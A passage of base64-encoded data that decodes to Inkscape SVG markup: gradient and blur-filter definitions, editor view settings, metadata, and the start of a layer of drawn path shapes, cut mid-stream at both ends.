dyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMCwtMSwtMSwwLC01NDEuNDY2MTUsLTQ4MC4zNzEwNykiIHgxPSItNzc0LjgiIHkxPSItNjcxLjIiIHgyPSItNzE2LjkiIHkyPSItNjcxLjUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTIxIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgtMSwwLDAsMSwtNTgwLjIzNzQ1LDg5OS44MTU1MykiIHgxPSItNzQ3LjgiIHkxPSItNjQ4LjkiIHgyPSItNzQ3IiB5Mj0iLTY5OS4yIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjI5NyIgaWQ9ImxpbmVhckdyYWRpZW50NzExOSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNjM0LjYiIHkxPSItNjY5LjIiIHgyPSItNjI0LjQiIHkyPSItNjY5LjMiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2Mjk3Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjI5OSIgY2xhc3M9InMwIi8+PHN0b3Agb2Zmc2V0PSIxIiBpZD0ic3RvcDYzMDEiIGNsYXNzPSJzMSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjI5NyIgaWQ9ImxpbmVhckdyYWRpZW50NzExNyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItNjM1LjQiIHkxPSItNjc2LjMiIHgyPSItNjM3LjUiIHkyPSItNjYwLjIiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTE1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii01NDIuMyIgeTE9Ii02OTMuMiIgeDI9Ii01NDIuOCIgeTI9Ii03OTUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2Mjk3IiBpZD0ibGluZWFyR3JhZGllbnQ3MTEzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii02MzQuNiIgeTE9Ii02NjkuMiIgeDI9Ii02MzkuMyIgeTI9Ii02NjkuMSIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDYzNzciIGlkPSJsaW5lYXJHcmFkaWVudDcxMTEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTYzNS40IiB5MT0iLTY3Ni4zIiB4Mj0iLTYzNy41IiB5Mj0iLTY2MC4yIi8+PGxpbmVhckdyYWRpZW50IGlkPSJsaW5lYXJHcmFkaWVudDYzNzciIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyI+PHN0b3AgaWQ9InN0b3A2Mzc5IiBvZmZzZXQ9IjAiIGNsYXNzPSJzMCIvPjxzdG9wIG9mZnNldD0iMC4yIiBpZD0ic3RvcDYzODMiIHN0eWxlPSJzdG9wLWNvbG9yOiM3ZDgwN2Y7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBpZD0ic3RvcDYzODEiIG9mZnNldD0iMSIgY2xhc3M9InMxIi8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTA5IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii03NDcuOCIgeTE9Ii02NDguOSIgeDI9Ii03NDciIHkyPSItNjk5LjIiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjcyMDM1LDg5OS44MTU1MykiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2MzQ5IiBpZD0ibGluZWFyR3JhZGllbnQ3MTA3IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9Ii03MDQiIHkxPSItNTgyLjciIHgyPSItNzA3LjIiIHkyPSItNzY5LjIiIGdyYWRpZW50VHJhbnNmb3JtPSJ0cmFuc2xhdGUoODM4LjcyMDM1LDg5OS44MTU1MykiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2MzQ5Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjM1MSIgc3R5bGU9InN0b3AtY29sb3I6I2MwYzJjMjtzdG9wLW9wYWNpdHk6MCIvPjxzdG9wIGlkPSJzdG9wNjM2OSIgb2Zmc2V0PSIwLjEiIHN0eWxlPSJzdG9wLWNvbG9yOiM4Mjg1ODQ7c3RvcC1vcGFjaXR5OjAiLz48c3RvcCBpZD0ic3RvcDYzNTciIG9mZnNldD0iMC40IiBzdHlsZT0ic3RvcC1jb2xvcjojNzk3OTc5O3N0b3Atb3BhY2l0eTowIi8+PHN0b3Agb2Zmc2V0PSIwLjUiIGlkPSJzdG9wNjM1OSIgc3R5bGU9InN0b3AtY29sb3I6IzgyODY4MjtzdG9wLW9wYWNpdHk6MCIvPjxzdG9wIGlkPSJzdG9wNjM2NyIgb2Zmc2V0PSIwLjkiIHN0eWxlPSJzdG9wLWNvbG9yOiM4YThhOGE7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjM1MyIgc3R5bGU9InN0b3AtY29sb3I6IzlhOWQ5YztzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzEwNSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSItMTYxLjUiIHkxPSItNjQ2LjMiIHgyPSItMTYxLjgiIHkyPSItNjk0LjciLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NDc1IiBpZD0ibGluZWFyR3JhZGllbnQ3MTAzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjcxMC40IiB5MT0iLTIyNCIgeDI9Ijc1NC42IiB5Mj0iLTIyNCIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY0NzUiIGlkPSJsaW5lYXJHcmFkaWVudDcxMDEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTI4Ny42IiB5MT0iLTY0Ny44IiB4Mj0iLTI4Ni45IiB5Mj0iLTY5MS40Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjQ3NSIgaWQ9ImxpbmVhckdyYWRpZW50NzA5OSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIHgxPSI1ODUuMSIgeTE9Ii0yMjQiIHgyPSI2MjkuMyIgeTI9Ii0yMjQiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2MzQ5IiBpZD0ibGluZWFyR3JhZGllbnQ3MDk3IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgxMzIzLjExMzQsOTA0LjcwOTgyKSIgeDE9Ii03MDQiIHkxPSItNTgyLjciIHgyPSItNzA4LjQiIHkyPSItNzcxLjciLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTUyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDkzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSg3NjUuNzI3NTksMC45NTQzNzkyNykiIHgxPSItNzAyIiB5MT0iLTgwNi4xIiB4Mj0iLTcwOC4xIiB5Mj0iLTc2NiIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIGlkPSJsaW5lYXJHcmFkaWVudDQ1NTIiPjxzdG9wIG9mZnNldD0iMCIgaWQ9InN0b3A0NTU0IiBzdHlsZT0ic3RvcC1jb2xvcjojZjlmOWY5O3N0b3Atb3BhY2l0eToxIi8+PHN0b3Agb2Zmc2V0PSIxIiBpZD0ic3RvcDQ1NTYiIHN0eWxlPSJzdG9wLWNvbG9yOiNmOWY5Zjk7c3RvcC1vcGFjaXR5OjAiLz48L2xpbmVhckdyYWRpZW50PjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDQ1NTIiIGlkPSJsaW5lYXJHcmFkaWVudDcwOTUiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDAuMjU5NTAzNzksMC45NjMzNzAzNCwtMC45Njg0ODEzMywwLjI1ODEzNDMxLC00MTAuMzIyMzcsMTg0LjI4NDY1KSIgeDE9Ii01NzIuOCIgeTE9Ii03NjMuNiIgeDI9Ii03NjQuMiIgeTI9Ii03MjEuOSIvPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY1OTkiIGlkPSJsaW5lYXJHcmFkaWVudDcwOTEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC0xLDAsMCwxLC05MS45OTUwOTMsODk5LjgxNTUzKSIgeDE9Ii02MTQuNiIgeTE9Ii01ODMuNSIgeDI9Ii04MTkuMiIgeTI9Ii01ODAuNiIvPjxsaW5lYXJHcmFkaWVudCBpZD0ibGluZWFyR3JhZGllbnQ2NTk5IiBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiPjxzdG9wIGlkPSJzdG9wNjYwMSIgb2Zmc2V0PSIwIiBjbGFzcz0iczIiLz48c3RvcCBvZmZzZXQ9IjAuNCIgaWQ9InN0b3A2NjAzIiBjbGFzcz0iczMiLz48c3RvcCBpZD0ic3RvcDY2MDUiIG9mZnNldD0iMSIgY2xhc3M9InM0Ii8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTUyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDg5IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjI1OTQ4NzU3LDAuOTYyMzExODIsLTAuOTY4NDIwNzksMC4yNTc4NTA2OCwtMzM3LjMwODM1LDEwODMuMDE5NCkiIHgxPSItNTc1LjkiIHkxPSItNzU1LjIiIHgyPSItNzY0LjIiIHkyPSItNzIxLjkiLz48ZmlsdGVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImZpbHRlcjY4NDYiIHg9IjAiIHdpZHRoPSIxIiB5PSItMC43IiBoZWlnaHQ9IjIuNCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj48ZmVHYXVzc2lhbkJsdXIgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBzdGREZXZpYXRpb249IjAuNiIgaWQ9ImZlR2F1c3NpYW5CbHVyNjg0OCIvPjwvZmlsdGVyPjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDQ1NTIiIGlkPSJsaW5lYXJHcmFkaWVudDcwODciIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw5MDAuNzY5OTEpIiB4MT0iLTcwMiIgeTE9Ii04MDYuMSIgeDI9Ii03MDguMSIgeTI9Ii03NjYiLz48ZmlsdGVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImZpbHRlcjY1NTkiIHg9IjAiIHdpZHRoPSIxIiB5PSIwIiBoZWlnaHQ9IjEiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+PGZlR2F1c3NpYW5CbHVyIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgc3RkRGV2aWF0aW9uPSIwLjIiIGlkPSJmZUdhdXNzaWFuQmx1cjY1NjEiLz48L2ZpbHRlcj48cmFkaWFsR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ2NTE5IiBpZD0icmFkaWFsR3JhZGllbnQ3MDg1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjIwODg4NzU0LDAuOTc3OTM5NjcsLTAuODY5NDg3MTEsMC4xODU3MjIxMiwtMTI3Ny4yNTM3LDMxLjMxNjMzNikiIGN4PSItNzA2LjQiIGN5PSItODI2LjIiIGZ4PSItNzA2LjQiIGZ5PSItODI2LjIiIHI9IjU1LjkiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ2NTE5Ij48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNjUyMSIgc3R5bGU9InN0b3AtY29sb3I6I2U0ZTVlNTtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A2NTIzIiBzdHlsZT0ic3RvcC1jb2xvcjojZTRlNWU1O3N0b3Atb3BhY2l0eTowIi8+PC9saW5lYXJHcmFkaWVudD48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTQyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDgzIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgxLDAsMCwxLjQ0NzAyNzksODQwLjk0NzIzLDEyMzguOTcwNikiIHgxPSItNDkwLjgiIHkxPSItNzg5LjQiIHgyPSItNDkwLjgiIHkyPSItNzYwLjUiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiBpZD0ibGluZWFyR3JhZGllbnQ0NTQyIj48c3RvcCBvZmZzZXQ9IjAiIGlkPSJzdG9wNDYxNCIgc3R5bGU9InN0b3AtY29sb3I6I2ZmZmZmZjtzdG9wLW9wYWNpdHk6MSIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A0NjE2IiBjbGFzcz0iczQiLz48L2xpbmVhckdyYWRpZW50PjxsaW5lYXJHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY0MjMiIGlkPSJsaW5lYXJHcmFkaWVudDcwODEiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4MT0iLTYxNC42IiB5MT0iLTU4My41IiB4Mj0iLTgwMi42IiB5Mj0iLTU4NC40IiBncmFkaWVudFRyYW5zZm9ybT0idHJhbnNsYXRlKDgzOC43MjAzNSw4OTkuODE1NTMpIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjQyMyI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY0MjUiIGNsYXNzPSJzMiIvPjxzdG9wIGlkPSJzdG9wNjQzMSIgb2Zmc2V0PSIwLjciIGNsYXNzPSJzMyIvPjxzdG9wIG9mZnNldD0iMSIgaWQ9InN0b3A2NDI3IiBjbGFzcz0iczQiLz48L2xpbmVhckdyYWRpZW50PjxyYWRpYWxHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY2NTEiIGlkPSJyYWRpYWxHcmFkaWVudDcwNzkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KC0xLjE3MjUzNzYsMS41ODY1MzUxLC0xLjM1NjgyMzYsLTEuMDAyNzY3OSwtMTU5Ny41MDE2LDY4My4wMzY2NikiIGN4PSItNzA2LjgiIGN5PSItNjY4LjEiIGZ4PSItNzA2LjgiIGZ5PSItNjY4LjEiIHI9IjEyNS42Ii8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjY1MSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY2NTMiIHN0eWxlPSJzdG9wLWNvbG9yOiMyYzJlMmQ7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjY1NSIgc3R5bGU9InN0b3AtY29sb3I6IzkyOTY5NTtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGZpbHRlciBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIGlkPSJmaWx0ZXI2NzA3IiB4PSIwIiB3aWR0aD0iMSIgeT0iMCIgaGVpZ2h0PSIxIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPjxmZUdhdXNzaWFuQmx1ciBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHN0ZERldmlhdGlvbj0iMS4yIiBpZD0iZmVHYXVzc2lhbkJsdXI2NzA5Ii8+PC9maWx0ZXI+PHJhZGlhbEdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjY1MSIgaWQ9InJhZGlhbEdyYWRpZW50NzA3NyIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoLTEuMzgxNjE3OCwxLjI4NDkwMjIsLTEuMTk5NTE0LC0xLjI4OTgwMjMsLTI0NzguODg5OCwtNjIxLjcyODIzKSIgY3g9Ii03MDYuOCIgY3k9Ii02NjguMSIgZng9Ii03MDYuOCIgZnk9Ii02NjguMSIgcj0iMTI1LjYiLz48bGluZWFyR3JhZGllbnQgaW5rc2NhcGU6Y29sbGVjdD0iYWx3YXlzIiB4bGluazpocmVmPSIjbGluZWFyR3JhZGllbnQ0NTQyIiBpZD0ibGluZWFyR3JhZGllbnQ3MDc1IiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgwLjcwMjgwNDkzLDAsMCwtMS45NDg4NDU2LDY4OS42MDQwNiwtMTE4Ni41Njc2KSIgeDE9Ii00OTAuOCIgeTE9Ii03NzYuMyIgeDI9Ii00OTAuOCIgeTI9Ii03NjAuNSIvPjxyYWRpYWxHcmFkaWVudCBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiIHhsaW5rOmhyZWY9IiNsaW5lYXJHcmFkaWVudDY3MjkiIGlkPSJyYWRpYWxHcmFkaWVudDcwNzMiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiBncmFkaWVudFRyYW5zZm9ybT0ibWF0cml4KDAuOTcyMDY2MywwLjAyMjU4NDA2LC0wLjAxNjgxODcxLDAuNzIzOTA5NzUsNzQ1LjQ1MzgsMzYyLjI0NTI5KSIgY3g9Ii0zODAuNiIgY3k9IjIyMy4yIiBmeD0iLTM4MC42IiBmeT0iMjIzLjIiIHI9IjMyMS4yIi8+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgaWQ9ImxpbmVhckdyYWRpZW50NjcyOSI+PHN0b3Agb2Zmc2V0PSIwIiBpZD0ic3RvcDY3MzEiIHN0eWxlPSJzdG9wLWNvbG9yOiMxYTFjMWE7c3RvcC1vcGFjaXR5OjEiLz48c3RvcCBvZmZzZXQ9IjEiIGlkPSJzdG9wNjczMyIgc3R5bGU9InN0b3AtY29sb3I6IzJjMmUyZDtzdG9wLW9wYWNpdHk6MCIvPjwvbGluZWFyR3JhZGllbnQ+PGxpbmVhckdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50Njg1MCIgaWQ9ImxpbmVhckdyYWRpZW50NzA3MSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMS4wNTY4NzQxLDAsMCwtMS45NDg4NDU2LDg1Ni4wNDM4OSwtMTM2NC43MzI5KSIgeDE9Ii00OTAuNSIgeTE9Ii03ODAuMSIgeDI9Ii00OTAuNSIgeTI9Ii03NTYuNiIvPjxsaW5lYXJHcmFkaWVudCBpZD0ibGluZWFyR3JhZGllbnQ2ODUwIiBpbmtzY2FwZTpjb2xsZWN0PSJhbHdheXMiPjxzdG9wIGlkPSJzdG9wNjg1MiIgb2Zmc2V0PSIwIiBjbGFzcz0iczQiLz48c3RvcCBpZD0ic3RvcDY4NTQiIG9mZnNldD0iMSIgc3R5bGU9InN0b3AtY29sb3I6IzdhN2Y3ZTtzdG9wLW9wYWNpdHk6MSIvPjwvbGluZWFyR3JhZGllbnQ+PHJhZGlhbEdyYWRpZW50IGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIgeGxpbms6aHJlZj0iI2xpbmVhckdyYWRpZW50NjUxOSIgaWQ9InJhZGlhbEdyYWRpZW50NzA2OSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiIGdyYWRpZW50VHJhbnNmb3JtPSJtYXRyaXgoMC4yMDg4ODc1NCwwLjk3NzkzOTY3LC0wLjg2OTQ4NzExLDAuMTg1NzIyMTIsLTEyNzcuMjUzNywzMS4zMTYzMzYpIiBjeD0iLTcwNi40IiBjeT0iLTgyNi4yIiBmeD0iLTcwNi40IiBmeT0iLTgyNi4yIiByPSI1NS45Ii8+PC9kZWZzPjxzb2RpcG9kaTpuYW1lZHZpZXcgaWQ9ImJhc2UiIHBhZ2Vjb2xvcj0iI2ZmZmZmZiIgYm9yZGVyY29sb3I9IiM2NjY2NjYiIGJvcmRlcm9wYWNpdHk9IjEiIGlua3NjYXBlOnBhZ2VvcGFjaXR5PSIwIiBpbmtzY2FwZTpwYWdlc2hhZG93PSIyIiBpbmtzY2FwZTp6b29tPSIxIiBpbmtzY2FwZTpjeD0iNDAxLjMiIGlua3NjYXBlOmN5PSIxOTUuNiIgaW5rc2NhcGU6ZG9jdW1lbnQtdW5pdHM9InB4IiBpbmtzY2FwZTpjdXJyZW50LWxheWVyPSJnODQ2NyIgc2hvd2dyaWQ9ImZhbHNlIiBpbmtzY2FwZTp3aW5kb3ctd2lkdGg9IjE2MTUiIGlua3NjYXBlOndpbmRvdy1oZWlnaHQ9IjEwMjYiIGlua3NjYXBlOndpbmRvdy14PSI2NSIgaW5rc2NhcGU6d2luZG93LXk9IjI0IiBpbmtzY2FwZTp3aW5kb3ctbWF4aW1pemVkPSIxIi8+PG1ldGFkYXRhIGlkPSJtZXRhZGF0YTc0NjkiPjxyZGY6UkRGPjxjYzpXb3JrIHJkZjphYm91dD0iIj48ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD48ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+PC9jYzpXb3JrPjwvcmRmOlJERj48L21ldGFkYXRhPjxnIGlua3NjYXBlOmxhYmVsPSJDYXBhIDEiIGlua3NjYXBlOmdyb3VwbW9kZT0ibGF5ZXIiIGlkPSJsYXllcjEiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAsLTU1Ni4yOTkyNSkiPjxnIGlkPSJnODQ2NyIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoOC43NTkwNDQzLDQ5Ny42ODI4NCkiPjxwYXRoIGlkPSJwYXRoNDM2MCIgZD0ibTE3OS40IDExMC44IDAgMTIuNSAxNzcuNyAwIDMyLjEgMCAxODYuMyAwLjEgMC0xMi42LTM5Ni4xIDB6IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBmaWxsPSIjOTI5Njk1Ii8+PGcgaWQ9Imc2ODYxIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMzIyLjA4NjEsODk4Ljc0NTM3KSI+PHBhdGggZD0ibS03NDAuNC04MjUuOGMyMS45LTEwLjggNDkuMi0xMC44IDcxLjEgMCAzLjMgMS42IDcuNiA0LjEgNy42IDkuMWwwIDcuN2MwIDUtMy40IDkuMS03LjYgOS4xbC03MS4xIDBjLTQuMiAwLTcuNi00LjEtNy42LTkuMWwwLTcuN2MwLTUgNC4zLTcuNSA3LjYtOS4xeiIgaWQ9InBhdGg2ODYzIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImFhc3Nzc3NzYSIgZmlsbD0iIzJiMzIzNiIvPjxwYXRoIGQ9Im0tNzM5LjItODI1LjZjMjEuMi0xMC40IDQ3LjUtMTAuNCA2OC43IDAgMy4yIDEuNiA3LjQgMy45IDcuNCA4LjhsMCA3LjVjMCA0LjktMy4zIDguOC03LjQgOC44bC02OC43IDBjLTQuMSAwLTcuNC0zLjktNy40LTguOGwwLTcuNWMwLTQuOSA0LjItNy4yIDcuNC04Ljh6IiBpZD0icGF0aDY4NjUiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iYWFzc3Nzc3NhIiBjbGFzcz0iczgiLz48cGF0aCBkPSJtLTc1MS42LTgxMi4xYzAgMCAxOC4xLTEzLjQgNDUuOS0xMy41IDMwLjQtMC4yIDQ0LjQgMTMuNSA0NC40IDEzLjUgMy43IDIuOCA2LjkgMy45IDcuMyA4LjdsMy40IDM5LjNjMC40IDQuOC0zLjMgOC43LTcuMyA4LjdsLTk3LjEgMGMtNC4xIDAtNy43LTMuOS03LjMtOC43bDMuNC0zOS4zYzAuNC00LjggMi43LTUuOSA3LjMtOC43eiIgaWQ9InBhdGg2ODY3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9InVybCgjcmFkaWFsR3JhZGllbnQ3MDY5KSIvPjxwYXRoIHNvZGlwb2RpOm5vZGV0eXBlcz0iYWFzc3Nzc3NhIiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBpZD0icGF0aDY4NjkiIGQ9Im0tNzM5LjUtODI1LjJjMjEuNC0xMC40IDQ4LjItMTAuNCA2OS42IDAgMy4zIDEuNiA3LjUgMy45IDcuNSA4LjhsMCA3LjVjMCA0LjktMy4zIDguOC03LjUgOC44bC02OS42IDBjLTQuMSAwLTcuNS0zLjktNy41LTguOGwwLTcuNWMwLTQuOSA0LjItNy4yIDcuNS04Ljh6IiBmaWxsPSIjMTcxYjFkIi8+PHBhdGggc29kaXBv